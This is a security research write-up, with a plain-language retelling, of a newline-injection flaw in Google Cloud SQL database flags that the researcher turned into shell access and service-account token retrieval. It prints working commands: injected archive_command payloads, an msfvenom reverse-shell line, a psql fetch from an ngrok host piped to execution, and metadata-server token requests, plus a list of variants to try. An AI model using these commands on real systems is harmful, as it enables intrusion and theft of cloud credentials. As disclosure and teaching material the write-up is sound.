Dropping a shell in Google’s Cloud SQL (the speckle-umbrella story)
The researcher found that Cloud SQL database flags could be injected with newline characters to set arbitrary PostgreSQL configuration parameters, including archive_command, which allowed executing shell commands on the database VM. This could lead to remote code execution with the privileges of the Cloud SQL service account.
When I read write-ups about security research some sometime additional attack vectors pop up in my mind, like “hmm okay, this is interesting, have they got a protection measure in place against that attack?“ In this case the original research is called “How to contact Google SRE: Dropping a shell in Cloud SQL”. When I…
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This is a follow-up to Ezequiel's write-up "How to contact Google SRE: Dropping a shell in Cloud SQL". The target is Google Cloud SQL, the managed MySQL and PostgreSQL service on GCP. The feature under scrutiny is "database flags": a long list of engine settings that a customer cannot change directly inside the database, but can change through the official tooling (gcloud sql instances patch). The platform takes the requested flag values, applies them to the managed instance, and, as this research shows, renders them into the engine's configuration.
The author's stated goal was to understand how Google protects the powerful accounts that ship with a managed instance, in particular 'root'@'%' on MySQL and cloudsqlsuperuser on PostgreSQL, and whether those protections can be bypassed from an ordinary customer account.
Setup
The researcher worked from a Cloud Shell against test instances (test, test--my, test-pg, test-pg12), using the gcloud CLI and the --log-http option to see what the client actually sends. On the database side he had the default customer accounts: 'root'@'%' on MySQL and cloudsqlsuperuser on PostgreSQL. He also ran a local MySQL test environment and a local PostgreSQL in Docker to test behaviour before trying it on the managed service, and later used ngrok to expose a local PostgreSQL to the managed instance.
Finding it
The starting point was the 'root'@'%' account. Despite the name it does not have full permissions. It does have some level of write permission in the mysql database, but a special setting blocks writes to the sensitive system tables:
require_super_for_system_table_writes: event,func,plugin,proc,heartbeat,db,user,tables_priv
An early idea was to insert a row into mysql.plugin directly instead of using INSTALL PLUGIN, then mount a directory traversal. That would have required a MySQL-level vulnerability: in a local test environment the author confirmed that MySQL loads plugins only from plugin_dir, and validation of the input is not limited to INSTALL PLUGIN statements. The write to the table was blocked anyway by the setting above.
Next he tried stacked statements through the CSV export feature. That failed as expected with errorType: "DATA_FETCHING_EXCEPTION".
He then turned to database flags. The supported ones can be queried through the tooling, and the requiresRestart flag implied that changes are dispatched to the database server on the fly and probably persisted somewhere. Most settings have type constraints (int, bool) and the string ones usually enforce an enum value. A few string settings, however, were unrestricted according to the command output, and those became the target.
For MySQL he sent typical SQL injection payloads into the SET GLOBAL setting_name=value statements and found nothing. A multiline statement for init_connect produced an odd client-side error:
radimre83@cloudshell:~$ gcloud sql instances patch test "$(printf -- '--database-flags=init_connect=SELECT CURRENT_USER() AS a;\nSELECT CURRENT_USER() AS b')"
ERROR: gcloud crashed (ValueError): Invalid header value b'/usr/bin/../lib/google-cloud-sdk/lib/gcloud.py sql instances patch test --database-flags=init_connect=SELECT CURRENT_USER() AS a;\nSELECT CURRENT_USER() AS b'
The --log-http parameter showed the error was thrown on the client side, before any request reached the service. Reviewing the source, the check was not in Google's code but in the official Python HTTP client library. He patched it out locally:
$ diff /usr/lib/python3.7/http/client.py.orig /usr/lib/python3.7/http/client.py
1222c1222
< raise ValueError('Invalid header value %r' % (values[i],))
---
> pass # raise ValueError('Invalid header value %r' % (values[i],))
Resending the payload, the server returned INTERNAL_ERROR. Promising, but no further progress at that point, so he switched to PostgreSQL.
On PostgreSQL, cloudsqlsuperuser again is not running with full permissions. Both read and write access to pg_authid, the underlying table of these settings, was rejected:
postgres=> insert into pg_authid (rolsuper) values ('t');
ERROR: permission denied for relation pg_authid
SHOW ALL revealed the base directory of the server, which matters later:
config_file | /pgsql/data/postgresql.conf
Querying CURRENT_USER showed that the import/export feature runs as cloudsqlimportexport, a user with the same permissions as the default postgres. The built-in controls of the DBMS also held:
ALTER USER cloudsqladmin WITH PASSWORD 'hu8jmn3';
ERROR: must be superuser to alter superusers
postgres=> ALTER USER cloudsqlreplica WITH PASSWORD 'hu8jmn3';
ERROR: must be superuser to alter replication users
Among the database flags there were two unrestricted string settings on PostgreSQL as well. Looking at Logs Explorer, flag changes were not converted into SET statements as on MySQL. Instead these two statements appeared:
2021-01-21 12:44:51.719 UTC [407]: [2-1] db=cloudsqladmin,user=cloudsqladmin LOG: statement: SELECT sourcefile, sourceline, name, setting, error from pg_catalog.pg_file_settings where applied='f'
2021-01-21 12:44:51.740 UTC [408]: [2-1] db=cloudsqladmin,user=cloudsqladmin LOG: statement: SELECT pg_catalog.pg_reload_conf()
The conclusion: the platform likely writes the change into the configuration file and then reloads the server through that function, if the syntax is correct. That is a configuration file injection.
Exploitation
Step 1: proving the PostgreSQL config injection
He sent a patch with this payload: pgaudit.role=ffff\nenable_sort = off. The change was reflected, and since the default of enable_sort is on, this proved the newline was interpreted as a new configuration line:
postgres=> show enable_sort;
enable_sort
-------------
off
(1 row)
Step 2: reaching a setting that is not a flag
He then targeted cloudsql.supported_extensions, which normally cannot be set and is not exposed as a database flag:
postgres=> set cloudsql.supported_extensions = foobar;
ERROR: permission denied to set parameter "cloudsql.supported_extensions"
Its default value is:
bloom:1.0, btree_gin:1.0, btree_gist:1.2, chkpass:1.0, citext:1.3, cube:1.2, dblink:1.2, dict_int:1.0, dict_xsyn:1.0, earthdistance:1.1, fuzzystrmatch:1.1, hstore:1.4, intagg:1.1, intarray:1.2, ip4r:2.4, isn:1.1, lo:1.1, ltree:1.1, pg_buffercache:1.2, pg_prewarm:1.1, pg_stat_statements:1.4, pg_trgm:1.3, pgaudit:1.1.2, pgcrypto:1.3, pgrowlocks:1.2, pgstattuple:1.4, plpgsql:1.0, postgis:2.3.0, postgis_tiger_geocoder:2.3.0, postgis_topology:2.3.0, prefix:1.2.0, sslinfo:1.2, tablefunc:1.0, tsm_system_rows:1.0, tsm_system_time:1.0, unaccent:1.1, uuid-ossp:1.1, postgres_fdw:1.0, pg_freespacemap:1.2, pg_visibility:1.2, pageinspect:1.5, pgfincore:1.2, pg_repack:1.4.4, hll:2.12, plproxy:2.9.0
This setting restricts which extensions can be loaded. The final command was:
gcloud sql instances patch test-pg "$(printf -- '--database-flags=pgaudit.role=ffff\ncloudsql.supported_extensions = bloom:1.0')"
It worked and the setting changed. The primitive had potential but the impact was still low, so he filed a ticket with the VRP team describing the progress.
Step 3: the same primitive on MySQL
Back on MySQL, he built a patch command with correct syntax, targeting secure_file_priv, which 'root'@'%' cannot change:
mysql> set global secure_file_priv = "/mysql/tmp/something";
ERROR 1238 (HY000): Variable 'secure_file_priv' is a read only variable
The default value is /mysql/tmp/. The command that was accepted without INTERNAL_ERROR:
gcloud sql instances patch test "$(printf -- '--database-flags=init_connect=SELECT CURRENT_USER() AS a\nsecure_file_priv=/mysql/tmp/something')"
On MySQL, changes are dispatched as a MySQL query first, so the payload was reflected that way. He restarted the instance with gcloud sql instances restart test, and it did not come back. Log Explorer gave the reason:
2021-01-21T14:25:59.751089Z 0 [ERROR] Failed to access directory for --secure-file-priv. Please make sure that directory exists and is accessible by MySQL Server. Supplied value : /mysql/tmp/something
MySQL was affected after all. The report was triaged the next day and forwarded to VRP with priority P3.
Step 4: from file drop to code execution on MySQL
The CSV export feature runs as 'root'@'localhost', which is not the same account as 'root'@'%' and does have permission to drop files in the secure_file_priv directory. The plan was to point plugin_dir at the same directory and load native code from there. The configuration was prepared with:
gcloud sql instances patch test--my "$(printf -- '--database-flags=init_connect=SELECT CURRENT_USER() AS a\nplugin_dir=/mysql/tmp/')"
The database import process was completely low-privileged, as this query shows:
2021-01-21T21:28:21.202207Z cloudsqlimport[cloudsqlimport] @ localhost [] 2012 777276492 Query LOAD DATA LOCAL INFILE 'Reader::loaddata' INTO TABLE `test` CHARACTER SET 'utf8mb4' FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '\"' ESCAPED BY '\"' LINES TERMINATED BY '\n'
The LOCAL keyword explains it: the file is read by the client program on the client host and sent to the server. The SQL import feature therefore runs with effectively the same privileges as 'root'@'%'. The CSV export, by contrast, runs with high privileges but is limited to a single SELECT query.
He looked for a way to call a data-changing operation as a subquery and found the MySQL documentation stating that a subquery may refer to a stored function with data-modifying side effects, for example SELECT ... WHERE x IN (SELECT f() ...). Stored procedures were the way in. Creating one hit the next restriction:
mysql> source stored-test.sql
ERROR 1419 (HY000): You do not have the SUPER privilege and binary logging is enabled (you *might* want to use the less safe log_bin_trust_function_creators variable)
The relevant documentation says that setting the global log_bin_trust_function_creators system variable to 1 relaxes the conditions. The setting was off, but the same injection could flip it:
gcloud sql instances patch test--my "$(printf -- '--database-flags=init_connect=SELECT CURRENT_USER() AS a\nplugin_dir=/mysql/tmp/\nlog_bin_trust_function_creators=ON')"
With that, stored procedures could be created. The first privilege escalation attempt used a function called from his own account:
mysql> select NonDet();
ERROR 1227 (42000): Access denied; you need (at least one of) the SUPER privilege(s) for this operation
It failed, and even root@localhost during the CSV export got the same error back:
Error 1045: Access denied for user 'root'@'%' (using password: NO)
The error naming 'root'@'%' while the call was clearly executed by 'root'@'localhost' was confusing until he inspected the function definition: the function ran as its definer (him), not as the privileged user. Adding a definer clause for 'root'@'localhost' was not possible, because that required SUPER privileges.
The MySQL documentation on stored object security mentions SQL SECURITY INVOKER, and the DBMS allowed creating the procedure in that mode. Calling the function through the CSV export process then reflected the result of the UPDATE statement. Even after restarting the server (because FLUSH could not be used inside the procedure), file operations were still blocked:
mysql> SELECT "foobar" INTO DUMPFILE '/mysql/tmp/dumpfile.test';
ERROR 1045 (28000): Access denied for user 'root'@'%' (using password: YES)
Likely the extra separation through the super_user table. He chose the easier route and dropped the file through the stored procedure itself: he downloaded a UDF binary from the lib_mysqludf_sys project, converted it into a stored procedure with a small script, and dropped it. Creating the function then failed on architecture:
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys2.so';
ERROR 1126 (HY000): Can't open shared library 'lib_mysqludf_sys2.so' (errno: 0 /mysql/tmp/lib_mysqludf_sys2.so: wrong ELF class: ELFCLASS32)
He installed libmysqld-dev, recompiled the source, repeated the steps, and everything worked. The commands still ran blindly without output, and the image contained no useful utilities. He generated a reverse TCP shellcode with Metasploit:
msfvenom -p linux/x64/shell_reverse_tcp -f elf --smallest --out reverse.bin LHOST=[redacted] LPORT=51111
Dropping it through the existing UDF function did not work:
SELECT sys_exec("printf '\x7f\x45\x4c…' > /mysql/tmp/revshell.bin");
Neither printf supported \x expressions nor echo the extended -e syntax. He went through the stored procedure file-dropping chain again and gained a remote shell. He also found a way to write files with sed:
echo -n x | sed 's/./\\x20/' > /mysql/tmp/single-space.txt
The instance ran in the host's network context but with default Docker capabilities as a non-root user, so escaping Docker through the cloud agent was not possible. The image belonging to the service:
cat /var/lib/cloudsql/noncritical/*.release
DOCKER_IMAGE_URI="gcr.io/speckle-umbrella/mysql57_service:speckle_service_agents_20201213.02_RC00"
The project ID assigned to the managed identity, read from the metadata server:
wget http://metadata.[redacted]/0.1/meta-data/project-id -O -
Connecting to metadata.[redacted] ([redacted]:80)
writing to stdout
speckle-umbrella-48- 100% |********************************| 19 0:00:00 ETA
The service accounts available:
wget http://metadata.[redacted]/0.1/meta-data/service-accounts/ -O -
Connecting to metadata.[redacted] ([redacted]:80)
writing to stdout
default
default/
[redacted]
[redacted]/
wget http://metadata.[redacted]/0.1/meta-data/service-accounts/[redacted]/acquire -O -
Connecting to metadata.[redacted] ([redacted]:80)
writing to stdout
{"accessToken":"…","expiresAt":1611414384,"expiresIn":3344}- 100% |********************************| 275 0:00:00 ETA
written to stdout
The token's scopes, from the tokeninfo endpoint:
{
"issued_to": "103047181598510924038",
"audience": "103047181598510924038",
"scope": "https://www.googleapis.com/auth/bigquery https://www.googleapis.com/auth/cloudimagemanagement https://www.googleapis.com/auth/pubsub https://www.googleapis.com/auth/sqlservice.agent https://www.googleapis.com/auth/dataaccessauditlogging https://www.googleapis.com/auth/cloudkms https://www.googleapis.com/auth/servicecontrol https://www.googleapis.com/auth/devstorage.full_control",
"expires_in": 3144,
"access_type": "online"
}
He later realised that log_bin_trust_function_creators was actually exposed as a database flag, so the technique used to escalate to SUPER was an independent security issue.
Step 5: command execution on PostgreSQL without dropping a file
His original report to Google noted that the flaw could be exploited by a malicious GCP user to access restricted features of PostgreSQL and potentially execute arbitrary code on the VM with the service account's privileges, and that this might not be feasible without a file-dropping primitive, but probably not impossible based on the PostgreSQL client connection documentation.
Reviewing the server configuration options, he found candidates that execute commands without needing to save a file first:
archive_cleanup_commandarchive_commandrecovery_end_commandrestore_commandssl_passphrase_command
The restore and recovery ones did not seem feasible, because a point-in-time restore needs a new instance to be created and the attacker has little control over the destination server. He did not test that path because the archive_command path worked. The set of options that gave a convenient way to run shell commands:
archive_mode = on
wal_level = replica
archive_command = 'any shell command goes here'
archive_timeout=1s
Knowing the Docker image is pure, he first established a way to save arbitrary binary content:
archive_command = 'echo -n x|sed "s/./\\x20\\x20/" > /tmp/proof.txt'
He did not use this in the end. The first attempt:
gcloud sql instances patch test-pg "$(printf -- '--database-flags=pgaudit.role=ffff\narchive_command=\x27/usr/bin/id\x27')"
The command succeeded but the change did not reflect, apparently overridden by another layer:
wal_level | replica
archive_command | /utils/replication_log_processor -disable_log_to_disk -action=archive -file_name=%f -local_file_path=%p
archive_mode | on
He considered alternatives: assigning a custom private key so the password input callback runs a command, or overriding log_directory/log_filename and log_line_prefix to drop an executable and then pointing dynamic_library_path at it and loading the function. He also reviewed the available plugins. SELECT * FROM pg_available_extensions lists plugins that cannot be loaded because they are not in cloudsql.supported_extensions, two of them proprietary:
cloudsql_stat | 1.0 | | Google Cloud SQL statistics extension
google_insights | 1.0 | | Google extension for database insights
pgtap | 1.1.0 | | Unit testing for PostgreSQL
pglogical | 2.3.1 | | PostgreSQL Logical Replication
Investigating why archive_command was configured at all, he found the database had been created with point-in-time recovery support. Without that feature, archive_mode is off and archive_command empty. archive_mode and wal_level cannot be changed without restarting the server, and Google verifies flags when they are set, which might break the idea. This time he had luck: the following command was accepted and reflected after manually restarting the database server:
gcloud sql instances patch test-pg12 "$(printf -- '--database-flags=autovacuum_freeze_max_age=100001,pgaudit.role=ffff\narchive_mode=on\narchive_command=\x27/usr/bin/id\x27')"
autovacuum_freeze_max_age was added because its description says it requires a restart, and he hoped the warnings about the malicious archive_command change would be ignored. Later he realised this was unnecessary caution: Google ignored that warning anyway.
He then tried dropping the reverse shellcode with the sed trick. The first attempt failed with INTERNAL_ERROR, which he assumed was because the escaped command was too long, so he split it into three parts:
gcloud sql instances patch test-pg12 "$(printf -- '--database-flags=autovacuum_freeze_max_age=100004,pgaudit.role=f4\narchive_mode=on\narchive_command=\x27echo -n x|sed "s/./\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x40\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xc2\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x0c\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x10\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x6a\\\\x29\\\\x58\\\\x99\\\\x6a\\\\x02\\\\x5f\\\\x6a\\\\x01\\\\x5e\\\\x0f\\\\x05\\\\x48\\\\x97\\\\x48\\\\xb9\\\\x02\\\\x00\\\\xc7\\\\xa7\\\\xa8/" >/pgsql/s2\x27')"
…
After the three parts were (as he thought) uploaded, he tried to execute the binary:
gcloud sql instances patch test-pg12 "$(printf -- '--database-flags=autovacuum_freeze_max_age=100005,pgaudit.role=f5\narchive_mode=on\narchive_command=\x27cd /pgsql;cat s1 s2 s3 > s;chmod +x s;./s\x27')"
INTERNAL_ERROR again. He later understood the server side did some text manipulation on the received data and believes it split the input on the semicolon character. At the time he had to find another way. He looked for commands present in the image that can connect to a remote server, read data and save it to a file or print it. Netcat is not present, and bash did not support /dev/tcp. Then he realised psql is a perfect fit and is most likely present.
He launched a PostgreSQL server on his side and exposed it with ngrok. Producing pure binary output with psql was not easy, so he used base64, hoping it was present in the PostgreSQL image as it was in the MySQL one. Preparing the source data:
postgres=# create table x (d VARCHAR(1000));
postgres=# insert into x values (ENCODE(pg_read_binary_file('/tmp/revshell.bin'),'base64'));
Testing that the binary could be saved correctly:
psql -h4.tcp.ngrok.io -p10800 -Upostgres -tqA -c "SELECT d FROM x"|base64 -d>/tmp/revshell.test
The complete gcloud command:
gcloud sql instances patch test-pg12 "$(printf -- '--database-flags=pgaudit.role=f8\narchive_mode=on\narchive_timeout=1s\narchive_command=\x27psql -h4.tcp.ngrok.io -p17150 -Upostgres -tqA -c "SELECT d FROM x"|base64 -d>/pgsql/r && chmod +x /pgsql/r && /pgsql/r\x27')"
It worked. The GCP project was called speckle-umbrella-pg-3, and the service account had the same privileges as on MySQL, including devstorage.full_control. Given point-in-time recovery and that permission, he believes he could have accessed other clients' data in their PostgreSQL databases by downloading the WAL files from the project's Cloud Storage buckets. He did not verify this, citing differing interpretations of the limits of white hat activity.
After Google asked for clarification, he simplified the attack by using the local PostgreSQL instance itself to download the payload:
postgres=> create table x (d VARCHAR(1000));
CREATE TABLE
postgres=> insert into x values ('your-base64-payload');
And to trigger execution:
gcloud sql instances patch test-pg12 "$(printf -- '--database-flags=pgaudit.role=f8\narchive_mode=on\narchive_timeout=1s\narchive_command=\x27psql -h127.0.0.1 -Ucloudsqladmin -d postgres -tqA -c "SELECT d FROM x"|base64 -d>/pgsql/r2 && chmod +x /pgsql/r2 && /pgsql/r2\x27')"
Step 6: other attempts
On the MySQL host, two plain HTTP services listened on loopback:
tcp 0 0 [redacted]:43901 [redacted]:* LISTEN -
tcp 0 0 :::8080 :::* LISTEN -
Through a meterpreter tunnel he ran dirb against both and found nothing but 404.
He considered the MySQL federated table engine: connecting to the server through [redacted] or the unix socket would allow authenticating as the real passwordless root user, an alternate path to the super account. The engine was not supported.
He played with the clone plugin, another interesting vector, but the default GCP permissions leave no room for abuse.
A combination of some of the techniques above caused a segmentation fault in the MySQL server, a simple null pointer dereference, so the only impact is denial of service. He reported it to the vendor.
He briefly checked XML-related functions, hoping to send HTTP requests to the metadata server via XXE or similar. That did not work.
On PostgreSQL he tested dblink and CREATE SERVER, even reviewing the source, aiming to connect to the same instance as the passwordless cloudsqladmin account via localhost. A built-in measure stopped it:
postgres=> SELECT dblink_connect('dbname=postgres host=[redacted] user=cloudsqladmin [redacted] options=-csearch_path=');
ERROR: password is required
DETAIL: Non-superuser cannot connect if the server does not request a password.
HINT: Target server's authentication method must be changed.
Root cause
On PostgreSQL the platform appears to write user-supplied flag values into the configuration file and reload the server, so a newline in a flag value becomes a new configuration directive. On PostgreSQL the value is written into the configuration file and the server is reloaded with pg_reload_conf(), so a newline in a flag value becomes a new configuration directive. On MySQL the value is dispatched as a query, and the same injection reaches settings such as secure_file_priv, plugin_dir and log_bin_trust_function_creators. The existing defences (type and enum constraints on most flags, require_super_for_system_table_writes, the super_user table, the cloudsqladmin/cloudsqlreplica protections) did not cover the few unrestricted string flags, and the client-side header check that first blocked the payload lived in the Python HTTP library rather than in the service, so it could be bypassed locally.
Impact
With a customer account on a managed instance, an attacker could change settings they are not supposed to change, drop files into secure_file_priv, load a UDF and obtain a shell on the MySQL instance, or use archive_command to run commands on the PostgreSQL VM. The shell runs as a non-root user with default Docker capabilities, but the metadata server is reachable and the service account token carries broad scopes, including devstorage.full_control. The author believes this could have allowed reading other clients' PostgreSQL data through WAL files in Cloud Storage, but he did not verify it. Google's final position was that intra-VM issues in Cloud SQL are not considered security vulnerabilities, because the VM is the security boundary rather than the SQL engine, and the report did not meet the bar for a financial reward. The severity was rated S1 on 7 February, before that decision.
Fix
According to the timeline, the issue was fixed on 16 February 2021, the same day as the final response. The report does not describe the change. The general lesson the author draws is that when generating plain unstructured configuration files, input must be restricted or escaped properly while rendering.
Variants to test
- Send a newline inside any unrestricted string database flag on a managed database service and check whether a second directive appears in the effective configuration (for example
SHOWthe setting, or look for the injected line in the server logs). - Target settings that are not exposed as flags at all, such as
cloudsql.supported_extensions, and see whether the injected line changes them. - On MySQL, point
plugin_dirandsecure_file_privat the same directory and try to load a UDF from a file dropped by an export feature. A positive result is a successfulCREATE FUNCTION ... SONAME. - On PostgreSQL with point-in-time recovery enabled, set
archive_mode,wal_levelandarchive_commandthrough the flag interface and restart. A positive result is the command running when a WAL segment is archived. - Test whether the server splits input on semicolons or other characters by sending a command containing them and observing
INTERNAL_ERRORversus success. - Try
dblinkorCREATE SERVERagainst localhost as a passwordless superuser account. A positive result is a connection without the "password is required" error. - Check whether client-side validation (for example in an HTTP library) is the only thing blocking a payload, by patching it out locally and resending.
What happened, in plain words
Google Cloud SQL is a service where Google runs a database for you. You do not get a server of your own; you get a database that Google hosts, patches and backs up. You connect to it with a normal database client, and you manage it through Google's own tools, such as the gcloud command line program.
A researcher, Imre Rad, read a write-up by Ezequiel about getting a shell (a command prompt on the underlying machine) inside Cloud SQL. That made him ask a different question: how well does Google protect the powerful built-in database accounts that every managed instance ships with? He poked at those protections, found that a customer can slip extra lines into the database engine's configuration file through a feature called "database flags", and eventually turned that into running his own commands on both the MySQL and the PostgreSQL versions of the service.
He reported it to Google's bug bounty programme (the VRP, Google's Vulnerability Reward Program). Google first assigned priority P3, later changed it to P1, and the severity was rated S1. Finally Google decided it was not a security vulnerability, because in their view the virtual machine is the security boundary, not the SQL engine. They paid no reward. The issue was fixed on 16 February 2021.
This article walks through the whole story in the order it happened, explains each concept from scratch, and shows the exact commands and outputs from the report.
Some background you need first
Before the steps make sense, here are the pieces of the puzzle in everyday terms.
- A managed database is like renting a flat where the landlord does all the plumbing. You get the rooms (your tables and data), but you cannot rewire the building (the server settings). Google Cloud SQL is that landlord for MySQL and PostgreSQL, two popular database programs.
- A database account is a username and password inside the database. Some accounts are ordinary users; some are administrators. On a fresh Cloud SQL instance, the customer gets an account called
'root'@'%'on MySQL andcloudsqlsuperuseron PostgreSQL. The%means "from any host". - A shell is a text prompt where you type commands that the operating system runs. "Dropping a shell" means getting such a prompt on a machine you were not supposed to control.
- A configuration file is a plain text file that a program reads at startup to learn its settings, one setting per line. If you can add a line to it, you can change how the program behaves.
- Injection is a whole family of bugs where data you supply is treated as instructions. If a program builds a configuration file by pasting your input into it, and your input contains a line break, everything after the break becomes a new instruction. The same idea underlies SQL injection, where your text becomes part of a database query.
- A database flag in Cloud SQL is a setting you can change through Google's tooling, even though you cannot change it directly inside the database. Google takes your requested value and applies it to the engine for you.
- The
gcloudCLI is Google's command line tool.gcloud sql instances patchmeans "change a setting on this database instance". - An API is the way one program talks to another over the network. When
gcloudchanges a flag, it sends an HTTP request to a Google API, which then talks to your database server. - A token is a short-lived string that proves who you are, a bit like a cloakroom ticket. Whoever holds it can act as you until it expires.
- The metadata server is a special address inside every Google cloud machine (
metadata.[redacted]) that hands out information about the machine, including tokens for the Google account the machine runs as. - A service account is a Google account that belongs to a program rather than a person. It has permissions (called scopes) that say what it may do, for example read and write files in cloud storage.
- A UDF (user-defined function) is a way to teach MySQL a new function written in a compiled language. The compiled file is loaded from a directory the database controls.
- Docker is a way to package a program with everything it needs into a container, like a shipping container for software. A container is isolated from the host but shares its network.
- A reverse shell is a small program that connects back from the victim machine to the attacker's machine and gives the attacker a command prompt there.
- Base64 is a way to write binary data using only ordinary text characters, so it can travel through channels that only handle text.
Finding the flaw
The researcher's first concern was the 'root'@'%' account on MySQL. In a normal MySQL installation, root has a privilege called SUPER, which lets it do almost anything. He wanted to know whether Google's managed version really gives that power away.
The short answer: despite the name, the account does not have full permissions. It does have some write access to the mysql database, which holds MySQL's own internal tables. But a special setting blocks writes to the most sensitive of those tables:
require_super_for_system_table_writes: event,func,plugin,proc,heartbeat,db,user,tables_priv
This line lists the internal tables that only a SUPER user may write to: event, func, plugin, proc, heartbeat, db, user and tables_priv. If you are not SUPER, writing to any of them is refused.
One early idea was to insert a row directly into the mysql.plugin table instead of using the official INSTALL PLUGIN statement. A plugin is an add-on module for the database. If you could register a plugin pointing at a file of your choosing, you might get the database to load code from an unexpected place, a trick related to directory traversal (using ../ in a path to escape the intended folder).
He tested this locally first. In his own test environment he confirmed that MySQL only loads plugins from the directory named in the plugin_dir setting, and that this check is not limited to the INSTALL PLUGIN statement. So the idea would have needed a separate bug in MySQL itself. On top of that, on Google Cloud the write to mysql.plugin was blocked anyway by the setting above.
Next he tried to sneak extra SQL statements into the CSV export feature, which lets you export a query result to a file. "Stacked statements" means putting a second SQL command after the first, separated by a semicolon, hoping the server runs both. It failed as expected, with the error errorType: "DATA_FETCHING_EXCEPTION".
He then turned to database flags. Google exposes a long list of engine settings this way. You cannot edit them inside the database, but you can change them through the official tooling. The supported ones can be listed with the tooling. The fact that each flag carries a requiresRestart marker told him that changes are sent to the database server while it runs, and probably stored somewhere persistent.
Most of these settings have a fixed type: a whole number, a true/false value, or, for text settings, a value chosen from a fixed list (an enum). A few text settings, however, accepted any string at all according to the tooling's output. Those became his targets.
He knew some database platforms have limits on parameterised statements, so he was not sure whether that would help him inside the SET GLOBAL setting_name=value statements that MySQL uses to change a setting at runtime. He sent typical SQL injection payloads and found nothing. He then tried a multiline SQL statement for the init_connect setting, which is a statement MySQL runs for every new connection. That produced an odd error:
radimre83@cloudshell:~$ gcloud sql instances patch test "$(printf -- '--database-flags=init_connect=SELECT CURRENT_USER() AS a;\nSELECT CURRENT_USER() AS b')"
ERROR: gcloud crashed (ValueError): Invalid header value b'/usr/bin/../lib/google-cloud-sdk/lib/gcloud.py sql instances patch test --database-flags=init_connect=SELECT CURRENT_USER() AS a;\nSELECT CURRENT_USER() AS b'
Line by line:
radimre83@cloudshell:~$is the prompt of a Google Cloud Shell, a browser-based terminal.gcloud sql instances patch testmeans "change settings on the instance namedtest"."$(printf -- '...')"runs theprintfcommand and pastes its output into the command line.printfinterprets escape sequences, so\nbecomes a real line break. The payload is a flag assignment: setinit_connectto a first SQL statement, then a line break, then a second SQL statement.- The error says
gcloud crashed (ValueError): Invalid header value. A header is a line of metadata attached to an HTTP request. The tool refused to send the request because the value contained a line break, which would break the header format.
What? He doubted his payload would be submitted as a header. Since this looked suspicious, he kept digging. The --log-http option of the CLI, which prints the HTTP traffic, quickly confirmed the error was thrown on the client side, before any request reached Google's service at all.
Reviewing the source code, he found the check was not even in Google's own code but in the official Python HTTP client library that gcloud uses. He patched it out locally:
$ diff /usr/lib/python3.7/http/client.py.orig /usr/lib/python3.7/http/client.py
1222c1222
< raise ValueError('Invalid header value %r' % (values[i],))
---
> pass # raise ValueError('Invalid header value %r' % (values[i],))
This is the output of diff, a program that shows the differences between two files:
- The first line names the original file and the edited copy.
1222c1222means line 1222 of the first file was changed into line 1222 of the second.- The line starting with
<is what the original file contains: a check that raises an error when a header value is invalid. - The line starting with
>is the replacement:pass, which does nothing, so the check is disabled.
With the check removed, he resent the payload. This time the server returned INTERNAL_ERROR, a generic "something went wrong on our side" answer. That looked promising, but he could not make further progress for a while, so he switched to PostgreSQL.
On PostgreSQL, cloudsqlsuperuser again is not running with full permissions. Both reading and writing the pg_authid table, which stores the database's user accounts and their powers, were rejected:
postgres=> insert into pg_authid (rolsuper) values ('t');
ERROR: permission denied for relation pg_authid
postgres=>is the prompt of thepsqlclient, connected as thepostgresuser.insert into pg_authid (rolsuper) values ('t');tries to add a row to the accounts table, setting therolsupercolumn ("is this user a superuser?") to true.ERROR: permission denied for relation pg_authidmeans the database refused: this account may not touch that table.
Running SHOW ALL, which lists every current setting, revealed the base directory of the PostgreSQL server. This detail matters later:
config_file | /pgsql/data/postgresql.conf
This says the server's configuration file lives at /pgsql/data/postgresql.conf. If you can write into that file, you control the server.
By querying CURRENT_USER, which returns the name of the account currently running a statement, he found that the platform's import/export feature runs as a user called cloudsqlimportexport, which has the same permissions as the default postgres user. He also learned more about the database's built-in safety controls:
ALTER USER cloudsqladmin WITH PASSWORD 'hu8jmn3';
ERROR: must be superuser to alter superusers
postgres=> ALTER USER cloudsqlreplica WITH PASSWORD 'hu8jmn3';
ERROR: must be superuser to alter replication users
ALTER USER cloudsqladmin WITH PASSWORD 'hu8jmn3';tries to change the password of the internalcloudsqladminaccount.- The first error says only a superuser may change another superuser's password.
- The second command does the same for
cloudsqlreplica, an account used for replication (keeping a copy of the database in sync). - The second error says only a superuser may change a replication user's password.
So the internal accounts were protected. Among the database flags, there were two unrestricted text settings on PostgreSQL as well.
Looking at the Logs Explorer in Google Cloud, which shows the database server's own log messages, he saw that flag changes on PostgreSQL were not turned into SET statements as on MySQL. Instead, these two statements appeared:
Line by line:
- The timestamp, the process number in brackets, and
db=cloudsqladmin,user=cloudsqladminshow that the internal admin account ran these statements. - The first statement reads
pg_catalog.pg_file_settings, a built-in view that lists settings found in the configuration file, filtered to rows whereapplied='f'(not yet applied). In other words, it checks whether the file now contains settings that have not taken effect. - The second statement calls
pg_catalog.pg_reload_conf(), a built-in function that tells the server to re-read its configuration file without a full restart.
Conclusion: the platform probably writes the change into the configuration file and then reloads the server through that function, if the syntax is correct. Thinking over everything so far, he got excited. This might be a configuration file injection.
Exploitation
Step 1: proving the PostgreSQL config injection
He sent a patch request with this payload: pgaudit.role=ffff\nenable_sort = off. The \n is a line break. If the platform pastes this into the configuration file as-is, the file gains a first line setting pgaudit.role and a second line setting enable_sort to off.
The change was reflected, and since the default value of enable_sort is on, this proved the line break was interpreted as the start of a new configuration line:
postgres=> show enable_sort;
enable_sort
-------------
off
(1 row)
show enable_sort;asks the server for the current value of that setting.- The output is a small table with one column,
enable_sort, and one row,off. - Since the default is
on, theoffproves his injected second line took effect.
Step 2: reaching a setting that is not a flag
He then targeted cloudsql.supported_extensions, a setting that normally cannot be changed and is not offered as a database flag at all:
